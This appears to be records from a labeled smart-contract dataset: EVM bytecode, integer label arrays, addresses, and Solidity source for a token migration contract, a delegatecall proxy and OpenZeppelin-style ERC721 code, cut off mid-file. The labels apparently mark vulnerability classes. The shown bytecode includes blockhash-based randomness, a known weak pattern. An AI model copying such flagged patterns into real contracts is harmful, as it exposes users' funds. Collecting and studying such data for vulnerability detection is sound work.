05160206004803580820135601f8101849004840285018401909552848452610188943694929360249392840191908190840183828082843750949750610c129650505050505050565b34801561029657600080fd5b506101c0600435600160a060020a0360243516604435610d41565b3480156102bd57600080fd5b50604080516020601f60643560048181013592830184900484028501840190955281845261018894600160a060020a0381351694602480359560443595369560849493019181908401838280828437509497506110239650505050505050565b34801561032957600080fd5b506103326113f7565b60408051918252519081900360200190f35b34801561035057600080fd5b5061035c60043561143a565b604051808260a080838360005b83811015610381578181015183820152602001610369565b5050505090500191505060405180910390f35b3480156103a057600080fd5b50610188600160a060020a0360043516611495565b3480156103c157600080fd5b5061035c600160a060020a03600435166115dc565b3480156103e257600080fd5b506103eb611605565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561042557818101518382015260200161040d565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561046c57600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526104c094823594602480359536959460649492019190819084018382808284375094975061169c9650505050505050565b604080519115158252519081900360200190f35b3480156104e057600080fd5b5061033264ffffffffff60043581169060243581169060443581169060643581169060843516611847565b34801561051757600080fd5b506103326118bf565b34801561052c57600080fd5b50610188600160a060020a036004351661194b565b600080600080610552878787610d41565b50929a91995097509095509350505050565b600954600160a060020a031681565b600554600160a060020a03163314806106805750600560009054906101000a9004600160a060020a0316600160a060020a0316634b8feb4f6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156105da57600080fd5b505af11580156105ee573d6000803e3d6000fd5b505050506040513d602081101561060457600080fd5b50516040805160e160020a6317aa5fb70281523360048201529051600160a060020a0390921691632f54bf6e916024808201926020929091908290030181600087803b15801561065357600080fd5b505af1158015610667573d6000803e3d6000fd5b505050506040513d602081101561067d57600080fd5b50515b151561068b57600080fd5b620f424081111561069b57600080fd5b600755565b600554600160a060020a03163314806107ad5750600560009054906101000a9004600160a060020a0316600160a060020a0316634b8feb4f6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561070757600080fd5b505af115801561071b573d6000803e3d6000fd5b505050506040513d602081101561073157600080fd5b50516040805160e160020a6317aa5fb70281523360048201529051600160a060020a0390921691632f54bf6e916024808201926020929091908290030181600087803b15801561078057600080fd5b505af1158015610794573d6000803e3d6000fd5b505050506040513d60208110156107aa57600080fd5b50515b15156107b857600080fd5b6005805474ff0000000000000000000000000000000000000000191674010000000000000000000000000000000000000000179055565b600080600080600080610800612033565b61080988611a92565b60408051608081018252825466ffffffffffffff81168252670100000000000000810465ffffffffffff16602083018190526d010000000000000000000000000090910460ff169282019290925260018301546060820152919350909150151561087257600080fd5b61088d816020015165ffffffffffff16898360600151610d41565b939c929b5090995097509095509350505050565b600554600160a060020a03163314806109ae5750600560009054906101000a9004600160a060020a0316600160a060020a0316634b8feb4f6040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561090857600080fd5b505af115801561091c573d6000803e3d6000fd5b505050506040513d602081101561093257600080fd5b50516040805160e160020a6317aa5fb70281523360048201529051600160a060020a0390921691632f54bf6e916024808201926020929091908290030181600087803b15801561098157600080fd5b505af1158015610995573d6000803e3d6000fd5b505050506040513d60208110156109ab57600080fd5b50515b15156109b957600080fd5b6005805474ff000000000000000000000000000000000000000019169055565b60008060008060008060006001549450600080549050888601116109ff57878501610a03565b6000545b9250600091508493505b82841015610b6e5760008054819086908110610a2557fe5b600091825260209091200154600160a060020a03161415610a4557610b63565b600360008086815481101515610a5757fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205465ffffffffffff6701000000000000009091041615801590610aed5750600360008086815481101515610aab57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205465ffffffffffff6701000000000000009091048116610100011643115b15610b5e57610b1e600085815481101515610b0457fe5b600091825260209091200154600160a060020a0316611aac565b60000390506000811315610b5957610b54620f4240610b4860075484611ea390919063ffffffff16565b9063ffffffff611ed916565b820191505b610b63565b610b6e565b600190930192610a0d565b6001849055655af3107a40008210610c0557600554604080517f54cbe1e6000000000000000000000000000000000000000000000000000000008152336004820152602481018590529051600160a060020a03909216916354cbe1e69160448082019260009290919082900301818387803b158015610bec57600080fd5b505af1158015610c00573d6000803e3d6000fd5b505050505b5096919550909350505050565b600554600160a060020a0316331480610d1f5750600560009054906101000a9004600160a060020a0316600160a060020a0316634b8feb4f6040518163ffffffff1660e060020a028152600401602060405180830381600087803b158015610c7957600080fd5b505af1158015610c8d573d6000803e3d6000fd5b505050506040513d6020811015610ca357600080fd5b50516040805160e160020a6317aa5fb70281523360048201529051600160a060020a0390921691632f54bf6e916024808201926020929091908290030181600087803b158015610cf257600080fd5b505af1158015610d06573d6000803e3d6000fd5b505050506040513d6020811015610d1c57600080fd5b50515b1515610d2a57600080fd5b8051610d3d90600890602084019061205a565b5050565b6000806000806000610d516120d4565b6000610d5b6120d4565b6000610d668a61143a565b935060ff8c43031115610d7e57620f423d9250610d94565b610d8e620f423c8d8d6000611ef0565b60010192505b610dba655af3107a40008560005b602002015164ffffffffff169063ffffffff611ea316565b8252610dce655af3107a4000856001610da2565b6020830152610de5655af3107a4000856002610da2565b6040830152610dfc655af3107a4000856003610da2565b6060830152610e13655af3107a4000856004610da2565b608083018190526060830151604084015160208501518551010101019750600090506002831015610e4c57506001909401936063610f7a565b616994831015610e8d57608082015160001015610e8857506019610e7882600460200201516019611ea3565b98508160045b6020020151880397505b610f61565b6201a64c831015610ec457606082015160001015610e885750600a610eba8260036020020151600a611ea3565b9850816003610e7e565b62041fbd831015610efb57604082015160001015610e8857506006610ef182600260200201516006611ea3565b9850816002610e7e565b6207d5e8831015610f3257602082015160001015610e8857506004610f2882600160200201516004611ea3565b9850816001610e7e565b620f423d831015610f6157815160001015610f6157508051600290610f579082611ea3565b8251909950909703965b610f7288606463ffffffff611ed916565b965086880397505b7fb207a48fe715a6c856b1d4aa4729a7ab7432faa0bc2ecb364d1092dbf0fc30148c8c868c8c866040518087815260200186600160a060020a0316600160a060020a0316815260200185600560200280838360005b83811015610fe7578181015183820152602001610fcf565b50505050905001848152602001838152602001828152602001965050505050505060405180910390a150969a9599509397509195509193505050565b60008061102e6120d4565b60055474010000000000000000000000000000000000000000900460ff161561105657600080fd5b600554604080517f17ff5dc90000000000000000000000000000000000000000000000000000000081523360048201529051600160a060020a03909216916317ff5dc9916024808201926020929091908290030181600087803b1580156110bc57600080fd5b505af11580156110d0573d6000803e3d6000fd5b505050506040513d60208110156110e657600080fd5b505115156110f357600080fd5b858585600061110183611f11565b60ff16905061111184828461169c565b151561111c57600080fd5b600160a060020a038b166000908152600360205260409020548b9065ffffffffffff6701000000000000009091041643141561115757600080fd5b6111608c611a92565b8054909850670100000000000000900465ffffffffffff1615611188576111868c611aac565b505b61119e8b655af3107a400063ffffffff611ed916565b885466ffffffffffffff191666ffffffffffffff91909116176cffffffffffff0000000000000019166701000000000000004365ffffffffffff1602176dff0000000000000000000000000019166d010000000000000000000000000060ff8c1602178855885160201461121157600080fd5b60208901516001890181905596506112288761143a565b95508a611290655af3107a4000886004602002015164ffffffffff16896003602002015164ffffffffff168a6002602002015164ffffffffff168b6001602002015164ffffffffff168c6000602002015164ffffffffff16010101019063ffffffff611ea316565b1461129a57600080fd5b60008054906112ac90600183016120f3565b508b60006002548154811015156112bf57fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550600260008154809291906001019190505550600160025403600460008e600160a060020a0316600160a060020a03168152602001908152602001600020819055507f6655c9fc001d8f4610b21ee4bc30f262d337013abfa2dd88dff64454b8d54a168c8c8b6040518084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156113ad578181015183820152602001611395565b50505050905090810190601f1680156113da5780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a1505050505050505050505050565b3360008181526003602052604081205490919065ffffffffffff6701000000000000009091041643141561142a57600080fd5b61143333611aac565b91505b5090565b6114426120d4565b61144a6120d4565b8260045b8183826005811061145b57fe5b64ffffffffff909216602092909202015265010000000000820491508015156114835761148c565b6000190161144e565b50909392505050565b600554600160a060020a03163314806115a25750600560009054906101000a9004600160a060020a0316600160a060020a0316634b8feb4f6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156114fc57600080fd5b505af1158015611510573d6000803e3d6000fd5b505050506040513d602081101561152657600080fd5b50516040805160e160020a6317aa5fb70281523360048201529051600160a060020a0390921691632f54bf6e916024808201926020929091908290030181600087803b15801561157557600080fd5b505af1158015611589573d6000803e3d6000fd5b505050506040513d602081101561159f57600080fd5b50515b15156115ad57600080fd5b6005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6115e46120d4565b60006115ef83611a92565b6001015490506115fe8161143a565b9392505050565b60088054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156116915780601f1061166657610100808354040283529160200191611691565b820191906000526020600020905b81548152906001019060200180831161167457829003601f168201915b505050505090505b90565b6000806116a76120d4565b600080600080600080600060208b015198506116c28961143a565b80516020820151604083015160608401516080850151949c5064ffffffffff600290940284169b5060049092028316995060060282169750600a0281169550601990910216925086915081861115611718578591505b81851115611724578491505b81841115611730578391505b8183111561173c578291505b60065461175590655af3107a400063ffffffff611ed916565b905061175f6118bf565b82655af3107a4000021115801561178e5750875164ffffffffff168111158061178e5750875164ffffffffff16155b80156117b85750602088015164ffffffffff16811115806117b85750602088015164ffffffffff16155b80156117e25750604088015164ffffffffff16811115806117e25750604088015164ffffffffff16155b801561180c5750606088015164ffffffffff168111158061180c5750606088015164ffffffffff16155b80156118365750608088015164ffffffffff16811115806118365750608088015164ffffffffff16155b9d9c50505050505050505050505050565b6040805160006020808301919091527b0100000000000000000000000000000000000000000000000000000064ffffffffff988916810260278401529688168702602c83015294871686026031820152928616850260368401529416909202603b830152825180830382018152918301909252015190565b604080517f5cf6bcbd00000000000000000000000000000000000000000000000000000000815230600482015290516000913391635cf6bcbd9160248082019260209290919082900301818787803b15801561191a57600080fd5b505af115801561192e573d6000803e3d6000fd5b505050506040513d602081101561194457600080fd5b5051905090565b600554600160a060020a0316331480611a585750600560009054906101000a9004600160a060020a0316600160a060020a0316634b8feb4f6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156119b257600080fd5b505af11580156119c6573d6000803e3d6000fd5b505050506040513d60208110156119dc57600080fd5b50516040805160e160020a6317aa5fb70281523360048201529051600160a060020a0390921691632f54bf6e916024808201926020929091908290030181600087803b158015611a2b57600080fd5b505af1158015611a3f573d6000803e3d6000fd5b505050506040513d6020811015611a5557600080fd5b50515b1515611a6357600080fd5b6009805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a0316600090815260036020526040902090565b600080600080600080611abd612033565b600080600080611acc8c611a92565b60408051608081018252825466ffffffffffffff81168252670100000000000000810465ffffffffffff16602083018190526d010000000000000000000000000090910460ff1692820192909252600183015460608201529197509095501515611b3557600080fd5b602085015165ffffffffffff161515611b4d57600080fd5b85546cffffffffffff000000000000001916865560208501516060860151611b7f9165ffffffffffff16908e90610541565b6005546040808b015181517f3cb3d02700000000000000000000000000000000000000000000000000000000815260ff90911660048201529051959f50939d50919b509950600160a060020a031691633cb3d027916024808201926020929091908290030181600087803b158015611bf657600080fd5b505af1158015611c0a573d6000803e3d6000fd5b505050506040513d6020811015611c2057600080fd5b8101908080519060200190929190505050935083925082600160a060020a031663a8ffa37f8b8e8b600960009054906101000a9004600160a060020a0316611c84655af3107a40008c6000015166ffffffffffffff16611ea390919063ffffffff16565b6040518663ffffffff1660e060020a0281526004018086815260200185600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a0316815260200182815260200195505050505050600060405180830381600087803b158015611cfd57600080fd5b505af1158015611d11573d6000803e3d6000fd5b505050506000871115611db657600091505b86821015611db657600954604080517f1d293500000000000000000000000000000000000000000000000000000000008152600160a060020a038f8116600483015291519190921691631d29350091602480830192600092919082900301818387803b158015611d9257600080fd5b505af1158015611da6573d6000803e3d6000fd5b505060019093019250611d239050565b50600160a060020a038b166000908152600460205260408120548154909190819083908110611de157fe5b6000918252602080832091909101805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03948516179055918e1681526004909152604081205584517ff0f6fad6fe832d6020e4a67f95a01da773273bfa73d22830d8e5103bb2949434908d90611e649066ffffffffffffff16655af3107a4000611ea3565b60408051600160a060020a03909316835260208301919091528b8d038b900382820152519081900360600190a150505050509290930303949350505050565b600080831515611eb65760009150611ed2565b50828202828482811515611ec657fe5b0414611ece57fe5b8091505b5092915050565b6000808284811515611ee757fe5b04949350505050565b600084611efe858585611f89565b811515611f0757fe5b0695945050505050565b6000811515611f2257506002611f84565b8160011415611f3357506005611f84565b8160021415611f445750600a611f84565b8160031415611f555750600f611f84565b8160041415611f6657506014611f84565b8160051415611f7757506019611f84565b81600614156100ed575060215b919050565b6040805184406020808301919091526c01000000000000000000000000600160a060020a03861602828401526054808301859052835180840390910181526074909201928390528151600093918291908401908083835b60208310611fff5780518252601f199092019160209182019101611fe0565b5181516020939093036101000a60001901801990911692169190911790526040519201829003909120979650505050505050565b60408051608081018252600080825260208201819052918101829052606081019190915290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061209b57805160ff19168380011785556120c8565b828001600101855582156120c8579182015b828111156120c85782518255916020019190600101906120ad565b5061143692915061211c565b60a0604051908101604052806005906020820280388339509192915050565b8154818355818111156121175760008381526020902061211791810190830161211c565b505050565b61169991905b8082111561143657600081556001016121225600a165627a7a723058208fd04c4d0cfd29f52077c4e27f19e64ded6d4c4fea44b9386d0f520171035c800029
[ 0, 4, 7, 16, 1, 12, 13, 32, 10, 5, 2 ]
0xf2867370cb077c1fa0cac37759b1cb9dc66acdd3
pragma solidity ^0.4.24; interface token { function transfer(address receiver, uint amount) external returns (bool); function balanceOf(address who) external returns (uint256); } interface AddressRegistry { function getAddr(string AddrName) external returns(address); } contract Registry { address public RegistryAddress; modifier onlyAdmin() { require(msg.sender == getAddress("admin")); _; } function getAddress(string AddressName) internal view returns(address) { AddressRegistry aRegistry = AddressRegistry(RegistryAddress); address realAddress = aRegistry.getAddr(AddressName); require(realAddress != address(0)); return realAddress; } } contract TokenMigration is Registry { address public MTUV1; mapping(address => bool) public Migrated; constructor(address prevMTUAddress, address rAddress) public { MTUV1 = prevMTUAddress; RegistryAddress = rAddress; } function getMTUBal(address holder) internal view returns(uint balance) { token tokenFunctions = token(MTUV1); return tokenFunctions.balanceOf(holder); } function Migrate() public { require(!Migrated[msg.sender]); Migrated[msg.sender] = true; token tokenTransfer = token(getAddress("unit")); tokenTransfer.transfer(msg.sender, getMTUBal(msg.sender)); } function SendEtherToAsset(uint256 weiAmt) onlyAdmin public { getAddress("asset").transfer(weiAmt); } function CollectERC20(address tokenAddress) onlyAdmin public { token tokenFunctions = token(tokenAddress); uint256 tokenBal = tokenFunctions.balanceOf(address(this)); tokenFunctions.transfer(msg.sender, tokenBal); } }
0x608060405260043610610078576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630c3a96581461007d578063207aba24146100d457806358620daf146100eb578063a2e7361c14610142578063a55168ea1461019d578063cb8b4b83146101ca575b600080fd5b34801561008957600080fd5b5061009261020d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156100e057600080fd5b506100e9610233565b005b3480156100f757600080fd5b50610100610410565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014e57600080fd5b50610183600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610435565b604051808215151515815260200191505060405180910390f35b3480156101a957600080fd5b506101c860048036038101908080359060200190929190505050610455565b005b3480156101d657600080fd5b5061020b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610553565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561028e57600080fd5b6001600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506103246040805190810160405280600481526020017f756e69740000000000000000000000000000000000000000000000000000000081525061078c565b90508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb3361034c3361090c565b6040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156103d157600080fd5b505af11580156103e5573d6000803e3d6000fd5b505050506040513d60208110156103fb57600080fd5b81019080805190602001909291905050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60026020528060005260406000206000915054906101000a900460ff1681565b6104936040805190810160405280600581526020017f61646d696e00000000000000000000000000000000000000000000000000000081525061078c565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156104cc57600080fd5b61050a6040805190810160405280600581526020017f617373657400000000000000000000000000000000000000000000000000000081525061078c565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561054f573d6000803e3d6000fd5b5050565b6000806105946040805190810160405280600581526020017f61646d696e00000000000000000000000000000000000000000000000000000081525061078c565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105cd57600080fd5b8291508173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561066b57600080fd5b505af115801561067f573d6000803e3d6000fd5b505050506040513d602081101561069557600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561074b57600080fd5b505af115801561075f573d6000803e3d6000fd5b505050506040513d602081101561077557600080fd5b810190808051906020019092919050505050505050565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691508173ffffffffffffffffffffffffffffffffffffffff1663d502db97856040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561083d578082015181840152602081019050610822565b50505050905090810190601f16801561086a5780820380516001836020036101000a031916815260200191505b5092505050602060405180830381600087803b15801561088957600080fd5b505af115801561089d573d6000803e3d6000fd5b505050506040513d60208110156108b357600080fd5b81019080805190602001909291905050509050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561090257600080fd5b8092505050919050565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166370a08231846040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156109cf57600080fd5b505af11580156109e3573d6000803e3d6000fd5b505050506040513d60208110156109f957600080fd5b81019080805190602001909291905050509150509190505600a165627a7a723058202b22e828b59f6fdde8de2f86f40eeef297c6a4c78cf81119491466e0873747c20029
[ 16 ]
0xf286aa8c83609328811319af2f223bcc5b6db028
// SPDX-License-Identifier: MIT pragma solidity 0.8.7; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ contract Proxy { address implementation_; address public admin; constructor(address impl) { implementation_ = impl; admin = msg.sender; } function setImplementation(address newImpl) public { require(msg.sender == admin); implementation_ = newImpl; } function implementation() public view returns (address impl) { impl = implementation_; } /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation__) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation__, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view returns (address) { return implementation_; } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _delegate(_implementation()); } }
0x6080604052600436106100345760003560e01c80635c60da1b14610050578063d784d42614610086578063f851a440146100a6575b61004e6100496000546001600160a01b031690565b6100c6565b005b34801561005c57600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200160405180910390f35b34801561009257600080fd5b5061004e6100a1366004610123565b6100ea565b3480156100b257600080fd5b5060015461006a906001600160a01b031681565b3660008037600080366000845af43d6000803e8080156100e5573d6000f35b3d6000fd5b6001546001600160a01b0316331461010157600080fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b60006020828403121561013557600080fd5b81356001600160a01b038116811461014c57600080fd5b939250505056fea26469706673582212209a3b90ebe87548716a7a376a329a95f6849eb347f8e2e6114ccea44868fc2aac64736f6c63430008070033
[ 2 ]
0xf286e4955557361a7d245358b0d47a3f5c735b2e
/** *Submitted for verification at polygonscan.com on 2021-09-16 */ /** *Submitted for verification at polygonscan.com on 2021-09-14 */ /** *Submitted for verification at BscScan.com on 2021-09-08 */ /** *Submitted for verification at Bscscan.com on 2021-09-07 */ // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ 